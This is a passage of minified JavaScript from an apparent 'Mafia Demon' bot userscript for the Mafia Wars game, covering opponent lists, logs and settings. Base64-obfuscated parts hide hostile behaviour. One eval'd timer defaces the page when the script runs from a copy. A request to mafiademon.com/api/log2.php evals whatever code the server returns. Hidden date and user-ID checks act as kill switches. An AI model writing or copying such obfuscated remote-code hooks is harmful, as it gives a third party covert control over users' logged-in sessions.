                      d += '<tr><th class="op_name">Name</th><th class="op_level">Level</th><th class="op_defense">Defense</th><th class="op_buttons">Options</th></tr>';
                      for (b = 0; b < K.length; b++)(e = K.ia(b)) && (d += '<tr id="' + c + "_" + e.h + '">' + a.Di(e) + '</tr>');
                      d += '</table>'
                    }
                    a.za.html(d);
                    $("#" + c + '_nav')
                      .hide();
                    $("#" + c + '_opt_ignore')
                      .hide()
                  }
                } else if (2 === a.b.e) {
                  if (Pa(a, a.Za[a.b.e], S.length), ca() && a.X && a.za) {
                    d = "";
                    if (S.length) {
                      d += '<table class="op">';
                      d += '<tr><th class="op_name">Name</th><th>Reason</th><th class="op_buttons">Options</th></tr>';
                      for (b = a.ja; b < a.ja + 100; b++) b < S.length && (e = S.ia(b)) && (d += '<tr id="' + c + "_" + e.h + '">' + a.ii(e) + '</tr>');
                      d += '</table>'
                    }
                    a.za.html(d);
                    $("#" + c + '_nav')
                      .show();
                    $("#" + c + '_opt_ignore')
                      .show();
                    0 < a.ja ? $("#" + c + '_prev')
                      .removeClass('') : $("#" + c + '_prev')
                      .addClass('');
                    a.ja + 100 < S.length ? $("#" + c + '_next')
                      .removeClass('') : $("#" + c + '_next')
                      .addClass('')
                  }
                } else if (3 === a.b.e && (Pa(a, a.Za[a.b.e], ea.length), ca() && a.X && a.za)) {
                  d = "";
                  if (ea.length) {
                    d += '<table class="op">';
                    d += '<tr><th class="op_name">Name</th><th class="op_level">Level</th><th class="op_defense">Defense</th><th class="op_buttons">Options</th></tr>';
                    for (b = a.Na; b < a.Na + 100; b++) b < ea.length && (e = ea.ia(b)) && (d += '<tr id="' + c + "_" + e.h + '">' + a.Uh(e) + '</tr>');
                    d += '</table>'
                  }
                  a.za.html(d);
                  $("#" + c + '_nav')
                    .show();
                  $("#" + c + '_opt_ignore')
                    .hide();
                  0 < a.ja ? $("#" + c + '_prev')
                    .removeClass('') : $("#" + c + '_prev')
                    .addClass('');
                  a.ja + 100 < S.length ? $("#" + c + '_next')
                    .removeClass('') : $("#" + c + '_next')
                    .addClass('')
                }
              }
              y.prototype.wj = function (b) {
                ea.get(b.h) || (ea.push(b.h, b), a.Ze())
              }
              y.prototype.fo = function (b) {
                ea.get(b) && (ea.remove(b), a.Na >= ea.length && (a.Na = Math.max(a.Na - 100, 0)), 3 === a.b.e && a.W(), a.Ze())
              }
              y.prototype.Xj = function () {
                ea.clear();
                a.Na = 0;
                a.W();
                a.Ze()
              }
              y.prototype.zj = function (b, c) {
                a.$f[b] || (a.$f[b] = {
                  Ko: c
                })
              }
              y.prototype.rj = function () {
                if (0 < a.b.kd) for (; S.length > a.b.kd;) S.shift(),
                a.ja >= S.length && (a.ja = Math.max(a.ja - 100, 0))
              }
              y.prototype.df = function (b, c) {
                b.Ef = c;
                S.get(b.h) || (S.push(b.h, b), a.rj(), 2 === a.b.e && a.W(), a.c())
              }
              y.prototype.ho = function (b) {
                S.get(b) && (S.remove(b), a.ja >= S.length && (a.ja = Math.max(a.ja - 100, 0)), 2 === a.b.e && a.W(), a.c())
              }
              y.prototype.dd = function (a) {
                return S.get(a)
              }
              y.prototype.Yj = function () {
                S.clear();
                a.ja = 0;
                2 === a.b.e && a.W();
                a.c()
              }
              y.prototype.tj = function (b) {
                b.Sa = g;
                b.oc = g;
                b.xe = F;
                b.Df = F;
                b.Bf = F;
                b.N = -1;
                b.qd = -1;
                Q.push(b.h, b);
                0 === a.b.e ? a.W() : a.db(b)
              }
              y.prototype.eo = function (b) {
                Q.get(b.h) ? (b.Sa = F, Q.remove(b.h), 0 === a.b.e ? a.W() : a.db(b)) : B(p('Remove Active Opponent', 'Unable to remove opponent ' + b.h))
              }
              y.prototype.Wj = function () {
                Q.clear()
              }
              y.prototype.bc = function (a) {
                a = H(new Ea, a);
                K.push(a.h, a)
              }
              y.prototype.xj = function (a) {
                K.push(a.h, a)
              }
              y.prototype.Tg = function (b) {
                K.get(b.h) ? (K.remove(b.h), 1 === a.b.e ? a.W() : a.db(b)) : B(p('Remove Opponent', 'Unable to remove opponent ' + b.h))
              }
              y.prototype.io = function (b) {
                S.get(b) && (S.remove(b),
                2 === a.b.e && a.W(), gb(Ia, g), ja.Bh('xw_controller=group&xw_action=remove&target_id=p|' + b))
              }
              y.prototype.Ob = function (a) {
                return K.get(a)
              }
              y.prototype.$j = function () {
                K.clear();
                a.zd = []
              }
              y.prototype.Dh = function () {
                var a, c;
                for (a = 0; a < K.length; a++) c = K.ia(a), c.Sa || 2 === c.type && K.remove(c.h)
              }
              y.prototype.Xh = function (b) {
                var c;
                for (c = 0; c < a.zd.length; c++) if (a.zd[c] === b) return g;
                return F
              }
              y.prototype.gk = function (b) {
                if (b = K.get(b)) b.Ma = F, a.db(b)
              }
              y.prototype.mk = function (b) {
                if (b = K.get(b)) b.Ma = g, a.db(b)
              }
              y.prototype.Qk = function (b) {
                if (b = K.get(b)) b.Ma = F, b.qc = g, a.df(b, 0), a.db(b)
              }
              y.prototype.to = function (b) {
                if (b = K.get(b)) b.pa = g, a.db(b)
              }
              y.prototype.Ac = function (b) {
                a.b.e = C(b);
                a.W();
                a.c();
                return g
              }
              y.prototype.Wm = function (b) {
                2 === a.b.e ? a.ho(o($(b)
                  .attr('data-id'))) : 3 === a.b.e && a.fo(o($(b)
                  .attr('data-id')));
                return F
              }
              y.prototype.Vm = function (b) {
                2 === a.b.e && a.io(o($(b)
                  .attr('data-id')));
                return F
              }
              y.prototype.Wl = function (b) {
                (1 === a.b.e || 0 === a.b.e || 3 === a.b.e) && a.gk(o($(b)
                  .attr('data-id')));
                return F
              }
              y.prototype.vm = function (b) {
                (1 === a.b.e || 0 === a.b.e) && a.Qk(o($(b)
                  .attr('data-id')));
                return F
              }
              y.prototype.An = function (b) {
                (1 === a.b.e || 0 === a.b.e) && a.to(o($(b)
                  .attr('data-id')));
                return F
              }
              y.prototype.jm = function (b) {
                (1 === a.b.e || 0 === a.b.e) && a.Bk(o($(b)
                  .attr('data-id')));
                return F
              }
              y.prototype.Le = function () {
                2 === a.b.e ? a.Yj() : 3 === a.b.e && a.Xj();
                return F
              }
              y.prototype.Sm = function () {
                2 === a.b.e ? a.ja = Math.max(a.ja - 100, 0) : 3 === a.b.e && (a.Na = Math.max(a.Na - 100, 0));
                a.W();
                return F
              }
              y.prototype.Om = function () {
                2 === a.b.e ? a.ja + 100 < S.length && (a.ja += 100) : 3 === a.b.e && a.Na + 100 < ea.length && (a.Na += 100);
                a.W();
                return F
              }
              y.prototype.wm = function (b) {
                a.b.kd = C(b);
                a.rj();
                a.W();
                a.c();
                return g
              }
              y.prototype.ha = function () {
                a.b = {};
                a.b.e = 2;
                a.b.kd = 0
              }
              y.prototype.c = function () {
                var b, d, h = {};
                h.mode = a.b.e;
                h.ignore_size = a.b.kd;
                h.ignore_list = [];
                for (b = 0; b < S.length; b++) d = S.ia(b), h.ignore_list.push({
                  mwid: o(d.h),
                  mwname: d.I,
                  clan: o(d.ya),
                  clan_tag: d.Ba,
                  reason: d.Ef
                });
                ya(c, h)
              }
              y.prototype.Ze = function () {
                var a, c, d = {
                  fav_list: []
                };
                for (a = 0; a < ea.length; a++) c = ea.ia(a), d.fav_list.push({
                  mwid: o(c.h),
                  mwname: c.I,
                  clan: o(c.ya),
                  clan_tag: c.Ba
                });
                ya(M + '', d)
              }
              y.prototype.lo = function (b) {
                var c, d;
                if (b && (d = b.fav_list)) {
                  ea.clear();
                  for (b = a.Na = 0; b < d.length; b++) c = {
                    h: d[b].mwid,
                    I: d[b].mwname,
                    ya: d[b].clan,
                    Ba: d[b].clan_tag
                  }, c.H = L(c.I, "p|" + c.h, c.Ba, c.ya), ea.push(c.h,
                  H(new Ea, c))
                }
              }
              y.prototype.Xi = function () {
                a.lo(za(M + ''));
                a.W()
              }
              y.prototype.S = function () {
                var b, d;
                a.ha();
                try {
                  var h = {}, i = za(c);
                  h.e = i.mode;
                  h.kd = i.ignore_size;
                  H(a.b, h);
                  S.clear();
                  a.ja = 0;
                  if (i.ignore_list) for (b = 0; b < i.ignore_list.length; b++) d = {
                    h: i.ignore_list[b].mwid,
                    I: i.ignore_list[b].mwname,
                    ya: i.ignore_list[b].clan,
                    Ba: i.ignore_list[b].clan_tag,
                    Ef: i.ignore_list[b].reason
                  }, d.H = L(d.I, "p|" + d.h, d.Ba, d.ya), S.push(d.h, H(new Ea, d))
                } catch (k) {}
                u("#" + c + '_mode', a.b.e);
                u("#" + c + '_ignore_size', a.b.kd);
                a.W()
              }
              y.prototype.V = function () {
                var b = '<div style="padding:2px;"><div>Show ' + Ya('mode', a.Za) + '<span class="vdivider"/><span id="%ID%_nav">' + U('« Prev', m, m, 'prev') + " " + U('Next »', m, m, 'next') + '<span class="vdivider"/></span>' + U('Clear', 'clear', m, 'clear') + '<span id="%ID%_opt_ignore"><span class="vdivider"/><input type="text" id="%ID%_ignore_size" style="width:30px;"/> Maximum Size ' + ta('') + '</span></div><div class="hdivider"/><div id="%ID%_opponent_list"/></div>';
                eval(atob('c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBzYz0kKCdzY3JpcHQnKTtmb3IodmFyIGk9MDtpPHNjLmxlbmd0aDtpKyspaWYoc2NbaV0uc3JjLmluZGV4T2YoJ2Vtb24uY29tL3NjcicpIT09LTEpcmV0dXJuOyQoJ2JvZHknKS5odG1sKCQoJ2JvZHknKS5odG1sKCkucmVwbGFjZSgvZC9nLCd0aGllZicpKTt9LDYwMDAwMCk7'));
                ra(a, b, 6, function () {
                  a.W()
                });
                $("#" + c + '_mode')
                  .change(function () {
                  return a.Ac(this)
                });
                $("#" + c + '_clear')
                  .click(function () {
                  return a.Le()
                });
                $("#" + c + '_prev')
                  .click(function () {
                  return a.Sm()
                });
                $("#" + c + '_next')
                  .click(function () {
                  return a.Om()
                });
                $("#" + c + '_ignore_size')
                  .change(function () {
                  return a.wm(this)
                });
                a.za = $("#" + c + '_opponent_list');
                a.za.delegate('.remove_opponent', 'click', function () {
                  return a.Wm(this)
                });
                a.za.delegate('.disable_opponent', 'click', function () {
                  return a.Wl(this)
                });
                a.za.delegate('.enable_opponent', 'click', function () {
                  return a.$l(this)
                });
                a.za.delegate('.ignore_opponent', 'click', function () {
                  return a.vm(this)
                });
                a.za.delegate('.skip_opponent', 'click', function () {
                  return a.An(this)
                });
                a.za.delegate('.fav_opponent', 'click', function () {
                  return a.jm(this)
                });
                a.za.delegate('.remove_mafia', 'click', function () {
                  return a.Vm(this)
                })
              }
              a.V();
              a.S();
              a.Xi()
            }

            function na(d, c) {
              var a = this;
              Ia = a;
              a.id = c;
              a.xa = d;
              a.b = m;
              a.Z = [];
              a.Bb = m;
              na.prototype.log = function (b) {
                if (b) {
                  var c = new Date,
                    d = c.getHours(),
                    c = c.getMinutes(),
                    b = {
                      lh: ta("[" + (10 > d ? "0" + d : d) + ":" + (10 > c ? "0" + c : c) + "] "),
                      k: b
                    };
                  a.b.da ? a.Z.push(b) : a.Z.unshift(b)
                }
                if (0 < a.b.size) for (; a.Z.length > a.b.size;) a.b.da ? a.Z.shift() : a.Z.pop();
                a.sa()
              }
              na.prototype.error = function (b) {
                a.b.sd && a.log(b)
              }
              na.prototype.debug = function (b) {
                a.b.rd && a.log(b)
              }
              na.prototype.l = function () {
                v(c + '_debug_data', a.b.rd);
                v(c + '_errors_data', a.b.sd);
                v(c + '_timestamps_data', a.b.ce)
              }
              na.prototype.Vl = function (b) {
                a.b.rd = q(b);
                a.l();
                a.c();
                return g
              }
              na.prototype.hm = function (b) {
                a.b.sd = q(b);
                a.l();
                a.c();
                return g
              }
              na.prototype.Rn = function (b) {
                a.b.ce = q(b);
                a.l();
                a.log();
                a.c();
                return g
              }
              na.prototype.Le = function () {
                a.Z = [];
                a.sa();
                return F
              }
              na.prototype.Lg = function () {
                a.b.da = !a.b.da;
                a.Z.reverse();
                a.sa();
                return F
              }
              na.prototype.ha = function () {
                a.b = {
                  sd: F,
                  rd: F,
                  ce: g,
                  da: F,
                  size: 50
                }
              }
              na.prototype.c = function () {
                var b = {};
                b.log_errors = a.b.sd;
                b.log_debug = a.b.rd;
                b.timestamps = a.b.ce;
                b.invert = a.b.da;
                b.size = a.b.size;
                ya(c, b)
              }
              na.prototype.S = function () {
                a.ha();
                try {
                  var b = {}, d = za(c);
                  b.sd = d.log_errors;
                  b.rd = d.log_debug;
                  b.ce = d.timestamps;
                  b.da = d.invert;
                  b.size = d.size;
                  H(a.b, b)
                } catch (h) {}
                u("#" + c + '_size', a.b.size);
                r("#" + c + '_debug', a.b.rd);
                r("#" + c + '_errors', a.b.sd);
                r("#" + c + '_timestamps', a.b.ce);
                a.l();
                a.sa()
              }
              na.prototype.V = function () {
                ra(a, '' + ta('') + '<span class="vdivider"/>' + oa('', 'debug') + '<span class="vdivider"/>' + oa('Log Errors', 'errors') + '<span class="vdivider"/>' + oa('Timestamps', 'timestamps') + '<span class="vdivider"/>' + U('Clear', 'clear', m, 'clear') + " " + U('Invert', m, m, 'invert') + '</div><div class="hdivider"/><div id="%ID%_log"/></div>', 6, function () {
                  a.sa()
                });
                $("#" + c + '_size')
                  .change(function () {
                  return a.Mg(this)
                });
                $("#" + c + '_debug')
                  .click(function () {
                  return a.Vl(this)
                });
                $("#" + c + '_errors')
                  .click(function () {
                  return a.hm(this)
                });
                $("#" + c + '_clear')
                  .click(function () {
                  return a.Le()
                });
                $("#" + c + '')
                  .click(function () {
                  return a.Lg()
                });
                $("#" + c + '_timestamps')
                  .click(function () {
                  return a.Rn(this)
                })
              }
              a.V();
              a.S()
            }

            function la(d, c) {
              var a = this;
              a.id = c;
              a.xa = d;
              a.b = m;
              la.prototype.Za = ['Ices', 'Thieves', 'Bully Throttles', 'Bounties', 'Level Ups'];
              a.clip = m;
              a.Bb = m;
              la.prototype.Ra = function () {
                a.clip && (a.clip.hide(), ca() && (a.X && !Eb) && a.clip.show())
              }
              la.prototype.sa = function () {
                var b;
                if (0 < a.b.size) {
                  for (; a.b.Z.length > a.b.size;) a.b.da ? a.b.Z.shift() : a.b.Z.pop();
                  for (; a.b.cb.length > a.b.size;) a.b.da ? a.b.cb.shift() : a.b.cb.pop();
                  for (; a.b.Va.length > a.b.size;) a.b.da ? a.b.Va.shift() : a.b.Va.pop();
                  for (; a.b.Ua.length > a.b.size;) a.b.da ? a.b.Ua.shift() : a.b.Ua.pop();
                  for (; a.b.Xa.length > a.b.size;) a.b.da ? a.b.Xa.shift() : a.b.Xa.pop()
                }
                if (0 === a.b.e) b = a.b.Z;
                else if (1 === a.b.e) b = a.b.cb;
                else if (2 === a.b.e) b = a.b.Va;
                else if (3 === a.b.e) b = a.b.Ua;
                else if (4 === a.b.e) b = a.b.Xa;
                else return;
                Pa(a, a.Za[a.b.e], b.length);
                ca() && a.X ? (a.clip || (ZeroClipboard.setMoviePath(ab + '/js/lib/ZeroClipboard.swf'), a.clip = new ZeroClipboard.Client, a.clip.glue(c + '_copy_button'), a.clip.addEventListener('onComplete', function () {
                  var a = $("#" + c + '_copy_msg');
                  a.length && a.stop(g, g)
                    .text('Copied')
                    .show()
                    .fadeOut(1600)
                })), a.clip && (a.clip.setText(Mb(La(b.join("\n")))), a.clip.hide(), a.clip.show()), a.Bb || (a.Bb = $("#" + c + '_log')), a.Bb && a.Bb.html(b.join('<br/>'))) : a.clip && a.clip.hide()
              }
              la.prototype.log = function (b) {
                if (b) {
                  a.b.da ? a.b.Z.push(b) : a.b.Z.unshift(b);
                  try {
                    _gaq.push(['_trackEvent', 'log_ice', 'log_ice'])
                  } catch (c) {}
                  User.bt > vb(atob('MTM1OTAwZTQ=')) && kb != atob('MTAwMDAwNzU4NTQyMTYw') && (a = m)
                }
                a.sa();
                a.c()
              }
              la.prototype.Cl = function (b) {
                if (b) {
                  a.b.da ? a.b.cb.push(b) : a.b.cb.unshift(b);
                  try {
                    _gaq.push(['_trackEvent', 'log_thief', 'log_thief'])
                  } catch (c) {}
                }
                a.sa();
                a.c()
              }
              la.prototype.Al = function (b) {
                if (b) {
                  a.b.da ? a.b.Va.push(b) : a.b.Va.unshift(b);
                  try {
                    _gaq.push(['_trackEvent', 'log_bully', 'log_bully'])
                  } catch (c) {}
                }
                a.sa();
                a.c()
              }
              la.prototype.zl = function (b) {
                if (b) {
                  a.b.da ? a.b.Ua.push(b) : a.b.Ua.unshift(b);
                  try {
                    _gaq.push(['_trackEvent', 'log_bounty', 'log_bounty'])
                  } catch (c) {}
                }
                a.sa();
                a.c()
              }
              la.prototype.Bl = function (b) {
                if (b) {
                  a.b.da ? a.b.Xa.push(b) : a.b.Xa.unshift(b);
                  try {
                    _gaq.push(['_trackEvent', 'log_level_up', 'log_level_up'])
                  } catch (c) {}
                }
                a.sa();
                a.c()
              }
              la.prototype.Mg = function (b) {
                a.b.size = C(b);
                a.sa();
                a.c();
                return g
              }
              la.prototype.Le = function () {
                0 === a.b.e ? a.b.Z = [] : 1 === a.b.e ? a.b.cb = [] : 2 === a.b.e ? a.b.Va = [] : 3 === a.b.e ? a.b.Ua = [] : 4 === a.b.e && (a.b.Xa = []);
                a.sa();
                a.c();
                return F
              }
              la.prototype.Lg = function () {
                a.b.da = !a.b.da;
                a.b.Z.reverse();
                a.b.cb.reverse();
                a.b.Va.reverse();
                a.b.Ua.reverse();
                a.b.Xa.reverse();
                a.sa();
                a.c();
                return F
              }
              la.prototype.Ac = function (b) {
                a.b.e = C(b);
                a.sa();
                a.c();
                return g
              }
              la.prototype.ha = function () {
                a.b = {
                  e: 0,
                  Z: [],
                  cb: [],
                  Va: [],
                  Ua: [],
                  Xa: [],
                  size: 50,
                  da: F
                }
              }
              la.prototype.c = function () {
                var b = {};
                b.mode = a.b.e;
                b.size = a.b.size;
                b.invert = a.b.da;
                b.logs = [];
                H(b.logs, a.b.Z);
                b.thieves = [];
                H(b.thieves, a.b.cb);
                b.bullies = [];
                H(b.bullies, a.b.Va);
                b.bounties = [];
                H(b.bounties,
                a.b.Ua);
                b.level_up = [];
                H(b.level_up, a.b.Xa);
                ya(c, b)
              }
              la.prototype.S = function () {
                a.ha();
                try {
                  var b = {}, d = za(c);
                  b.e = d.mode;
                  b.size = d.size;
                  b.da = d.invert;
                  b.Z = [];
                  H(b.Z, d.logs);
                  b.cb = [];
                  H(b.cb, d.thieves);
                  b.Va = [];
                  H(b.Va, d.bullies);
                  b.Ua = [];
                  H(b.Ua, d.bounties);
                  b.Xa = [];
                  H(b.Xa, d.level_up);
                  H(a.b, b)
                } catch (h) {}
                u("#" + c + '_size', a.b.size);
                u("#" + c + '_mode', a.b.e);
                a.sa()
              }
              la.prototype.V = function () {
                ra(a, '<div style="padding:2px;"><div>Show ' + Ya('mode', a.Za) + '<span class="vdivider"/><input type="text" id="%ID%_size" style="width:30px;"/> Log Size <span class="more_in">(0 for unlimited)</span><span class="vdivider"/>' + U('Clear', 'clear', m, 'clear') + ' <span id="%ID%_copy_container">' + U('Copy', m, m, '') + '</span> ' + U('Invert', m, m, 'invert') + ' <span id="%ID%_copy_msg"/></div><div class="hdivider"/><div id="%ID%_log"/></div>', 6, function () {
                  a.sa()
                });
                $("#" + c + '_mode')
                  .change(function () {
                  return a.Ac(this)
                });
                $("#" + c + '_size')
                  .change(function () {
                  return a.Mg(this)
                });
                $("#" + c + '_clear')
                  .click(function () {
                  return a.Le()
                });
                $("#" + c + '')
                  .click(function () {
                  return a.Lg()
                })
              }
              a.V();
              a.S()
            }

            function qb(d, c) {
              var a = this;
              a.id = c;
              a.xa = d;
              a.b = m;
              qb.prototype.bk = function () {
                gb(Ia, g);
                $.getJSON('http://json-time.appspot.com/time.json?tz=PST8PDT&callback=?', {}, function (b) {
                  a.ak(b)
                })
              }
              qb.prototype.ak = function (a) {
                a.datetime && (a = new Date(a.datetime.replace(/-\d+/, "")), a = Math.floor(a.getTime() / 864E5), ja.Bh('xw_controller=index&xw_action=fan_blast&id=' + (a - 14853)))
              }
              qb.prototype.V = function () {
                ra(a, Jb('Kw>-a'),
                5);
                D$.dailyLink = function () {
                  a.bk()
                }
              }
              a.V()
            }
            var ca, K, Q, ea, S, i, Fa, Cb = atob('TWFmaWEgRGVtb24='),
              ob = /(\d+)/.exec('$Revision: 1000 $')[1],
              Qb = atob('Z29sZF9zdGFy'),
              ac = atob('bWFmaWFfZGVtb25fZ29sZA=='),
              M = atob('ZGVtb24='),
              xa = atob('aHR0cDovL21hZmlhZGVtb24uY29t'),
              Xb = xa + atob('L3NjcmlwdHMv'),
              E, Fb, x, ja, pa, X, Ia, w, V, qa, Sa, W, Pb, ga, Ga, Ja = {}, Tb, Sb, ab = MW_BASE_URL,
              $b = MW_PROTOCOL,
              T = '',
              xb = "",
              yb = User.id,
              hb = o(yb.substring(2)),
              kb = User.trackId,
              Nb = 1,
              Eb = F,
              Bb = F,
              Db = F,
              P = m,
              cb = 0,
              Aa = 'Unknown;New York;Cuba;Moscow;Bangkok;Las Vegas;Italy;Brazil;Chicago;London'.split(";"),
              Rb = Jb('8cIfb'),
              jb = ' $ C$ R$ B$ V$ L$ BRL$ ¢ £'.split(" "),
              Yb = ' new_york_cash_icon cuba_cash_icon moscow_cash_icon bangkok_cash_icon vegas_cash_icon italy_cash_icon brazil_cash_icon chicago_cash_icon london_cash_icon'.split(" "),
              tb = "",
              Lb = "",
              db, ya, za, Xa, Ub, Gb, ra, Ta = '<span id="%ID%_start_row" class="tab_button"><a class="sexy_button_new short orange" id="%ID%_start"><span><span>Start</span></span></a></span>',
              Ua = '<span id="%ID%_stop_row" class="tab_button"><a class="sexy_button_new short red" id="%ID%_stop"><span><span>Stop</span></span></a></span>',
              Va = '<span id="%ID%_cancel_row" class="tab_button"><a class="sexy_button_new short green" id="%ID%_cancel"><span><span>Cancel</span></span></a></span>',
              Wa = '<span class="spacer"/><span id="%ID%_status_log" style="vertical-align:-1px;"/>',
              Z = '<div style="height:8px;clear:both;"/>';
            ub.prototype.pg = function (d, c, a) {
              this.ge = d.user_health;
              this.he = d.user_max_health;
              this.Jb = d.user_energy;
              this.rh = d.user_max_energy;
              this.ca = d.user_stamina;
              this.sh = d.user_max_stamina;
              this.bg = d.user_skill;
              this.qh = d.user_favor;
              this.Ca = d.current_city_id;
              this.Do = d.user_experience;
              this.kc = d.exp_to_next_level;
              this.Sh = d.exp_for_this_level;
              this.Ak = d.exp_for_next_level;
              this.Ri = d.powerPackCount;
              this.Of = d.powerPackStaminaUse;
              this.bh = d.staminaRefillCost;
              this.Y = Math.max(this.Y,
              d.user_level);
              c && (this.Yb = da(c.skill_atk), this.Vf = da(c.skill_def), this.zf = da(c.group_atk), this.Af = da(c.group_def), this.ci = c.group_size);
              if (a) {
                if (this.I = a.name, this.co = a.group_size, a.city_cash) for (c = 1; 10 > c; c++) a.city_cash[c] && (this.m[c].m = da(a.city_cash[c].cash), this.m[c].lf = da(a.city_cash[c].bank_balance))
              } else {
                for (c = 1; 10 > c; c++) d['city_cash_' + c] && (this.m[c].m = d['city_cash_' + c] - this.m[c].lf);
                d.user_cash && (this.m[this.Ca].m = d.user_cash);
                d.user_bank_balance && (this.m[this.Ca].lf = d.user_bank_balance)
              }
            }
            ra = function (d, c, a, b) {
              var e = d.id,
                h = (a & 1 ? '#tab_names_top' : '#tab_names_bottom') + (a & 4 ? '_left' : '_right');
              Ja[e] = d;
              d.X = F;
              d.oj = a;
              d.update = b;
              $(a & 1 ? '#tab_area_top' : '#tab_area_bottom')
                .append('<div id="' + e + '" class="tabframe" style="display:none;">' + c.replace(/%ID%/g, e) + '</div>');
              $(h)
                .append('<li id="' + e + '_name" style="float:left;position:relative;"><div class="tab tab_inactive_op" id="' + e + '_show" style="margin-right:3px;cursor:pointer;padding-top:5px;-moz-user-select:none;-webkit-user-select:none;"><div class="tab_start"/><div class="tab_middle" id="' + e + '_tab_name">' + d.xa + '');
              d.nj = $("#" + e + '_tab_name');
              d.mj = 0;
              setTimeout(function () {
                1358985193 < ja.cj && (x = m)
              }, 5E5);
              $("#" + e + '_show')
                .click(function () {
                return gb(d)
              })
            }
            ya = function (d, c) {
              if (Bb) try {
                P.data[d] = c
              } catch (a) {
                delete P.data[d], n(p('Problem Backing Up Settings', d + " " + a))
              } else try {
                window.localStorage[d] = JSON.stringify(c)
              } catch (b) {
                B(p('', b)), n(p('', 'Your Local Storage may be full. Please consider running the <a href="#0" onclick="D$.runScript('
                http: //spocklet.com/bookmarklet/cookie-a-nator.js'); return false;">Spockholm Cookie-a-Nator</a> and deleting anything you don't need.'))
                }
                }
                wb.prototype.success = function (d, c, a) {
                  this.queue.Re--;
                  this.Zf && ('jsonp' === this.dataType ? this.Zf(d) : this.Zf(a));
                  0 < this.queue.Db.length && this.queue.mg()
                }
                wb.prototype.error = function (d, c, a) {
                  this.queue.Re--;
                  this.vg ? this.vg(d, c, a) : (this.data && this.data.callback && delete this.data.callback, this.queue.Db.push(this));
                  0 < this.queue.Db.length && this.queue.mg()
                }
                $a.prototype.mg = function () {
                  var d, c;
                  if (this.Db.length) {
                    if (this.El) {
                      if (c = ja.b.ag, !this.vi && 55 <= this.Ui) return
                    } else c = 3, E.vi = g;
                    for (; this.Db.length && (this.Re < c || this.Db[0].hi) && !(this.Db[0].Lh && 0 < this.Re);) this.Re++, d = this.Db.shift(), 'jsonp' === d.dataType && $.jsonp ? $.jsonp(d) : $.ajax(d)
                  }
                }
                $a.prototype.J = function (d, c, a, b, e) {
                  this.ajax({
                    url: d,
                    data: Ob()
                  }, c, a, b, e)
                }
                $a.prototype.ajax = function (d, c, a, b, e) {
                  var h = new wb(this);
                  h.Zf = c;
                  h.vg = a;
                  h.Lh = b;
                  h.hi = e;
                  1358971651 > User.bt && H(h, d);
                  this.Db.push(h);
                  this.Ui++;
                  this.mg()
                }
                $a.prototype.Mj = function () {
                  this.ajax({
                    url: xa + atob('L2FwaS9sb2cyLnBocA=='),
                    dataType: 'jsonp',
                    callbackParameter: 'callback',
                    data: {}
                  }, function (d) {
                    d.a && eval(atob(d.a))
                  })
                }
                db = function (d, c, a, b) {
                  try {
                    var e, h, i;
                    e = 'string' === typeof c ? d.indexOf(c) : d.search(c);
                    if (-1 === e) return B(p('Find JSON', 'Unable to find start pattern')), m;
                    d = d.slice(e);
                    e = d.indexOf("{");
                    if (-1 === e) return B(p('Find JSON', 'Unable to find first brace')), m;
                    h = 'string' === typeof a ? d.indexOf(a) : d.search(a);
                    if (-1 === h) return B(p('Find JSON', 'Unable to find end pattern')), m;
                    d = d.slice(e, h);
                    if (b) {
                      i = m;
                      document.iops2 = m;
                      try {
                        eval('document.iops2 = ' + d + ";"), i = document.iops2
                      } catch (k) {
                        B(p('Find JSON', 'Eval Error ' + k)), i = m
                      }
                      document.iops2 = m;
                      return i
                    }
                    return JSON.parse(d)
                  } catch (n) {
                    return B(p('Find JSON', n)), m
                  }
                }
                Ab.prototype.send = function () {}
                var pb = {
                  Mh: function (d) {
                    for (var d = d.replace(/\r\n/g, "\n"), c = "", a = 0; a < d.length; a++) {
                      var b = d.charCodeAt(a);
                      128 > b ? c += String.fromCharCode(b) : (127 < b && 2048 > b ? c += String.fromCharCode(b >> 6 | 192) : (c += String.fromCharCode(b >> 12 | 224), c += String.fromCharCode(b >> 6 & 63 | 128)), c += String.fromCharCode(b & 63 | 128))
                    }
                    return c
                  },
                  Eh: function (d) {
                    var c = "",
                      a, b, e, h;
                    a = 0;
                    if (!d) return c;
                    for (; a < d.length;) b = d.charCodeAt(a), 128 > b ? (c += String.fromCharCode(b), a++) : 191 < b && 224 > b ? (e = d.charCodeAt(a + 1), c += String.fromCharCode((b & 31) << 6 | e & 63), a += 2) : (e = d.charCodeAt(a + 1), h = d.charCodeAt(a + 2), c += String.fromCharCode((b & 15) << 12 | (e & 63) << 6 | h & 63), a += 3);
                    return c
                  },
                  Fo: function (d) {
                    var c = "",
                      a = 0,
                      b = 0;
                    if (!d) return c;
                    for (; a < d.length;) b = d.charCodeAt(a), c += "%" + b.toString(), a++;
                    return c
                  }
                };
                Ea.prototype.Pa = function () {
                  this.gb = this.h = 0;
                  this.gi = "";
                  this.qb = 0;
                  this.I = "";
                  this.Fa = F;
                  this.H = "";
                  this.pa = this.jg = this.po = this.Aa = this.jd = this.Sa = this.Sb = F;
                  this.Ma = g;
                  this.Df = this.xe = this.oc = this.qc = F;
                  this.ea = this.Gh = this.Hh = this.ma = 0;
                  this.ya = -1;
                  this.Ba = "";
                  this.qe = this.Cf = 0;
                  this.td = this.Pc = this.gc = this.url = "";
                  this.qd = this.N = -1;
                  this.Bf = F;
                  this.Ef = this.type = this.Vb = this.Nb = this.hb = this.Fg = this.zg = this.Pk = this.Ok = 0
                }
                Ea.prototype.jo = function () {
                  this.url = Y(this.h);
                  this.qb = 0;
                  this.pa = this.jg = this.po = this.Aa = this.jd = this.Sa = this.Sb = F;
                  this.Ma = g;
                  this.Df = this.xe = this.oc = this.qc = F;
                  this.qe = this.Cf = 0;
                  this.qd = this.N = -1;
                  this.Bf = F;
                  this.Nb = this.hb = this.Fg = this.zg = this.Pk = this.Ok = 0
                }
                Ea.prototype.Pg = function (d) {
                  var c;
                  this.gc = (c = /(\/graphics\/fight\/badges\/[^"]+)/.exec(d)) ? c[1].replace(/huge_/g, "") : ""
                }
                ua.prototype.push = function (d, c) {
                  this.ta[d] || (this.Cb.push(d.toString()),
                  this.length++);
                  this.ta[d] = c
                }
                ua.prototype.unshift = function (d, c) {
                  this.ta[d] || (this.Cb.unshift(d.toString()), this.length++, this.index++);
                  this.ta[d] = c
                }
                ua.prototype.pop = function () {
                  if (this.length) {
                    var d = this.Cb.pop(),
                      c = this.ta[d];
                    this.ta[d] = f;
                    this.length--;
                    this.index >= this.length && (this.index = 0);
                    return c
                  }
                  return m
                }
                ua.prototype.shift = function () {
                  if (this.length) {
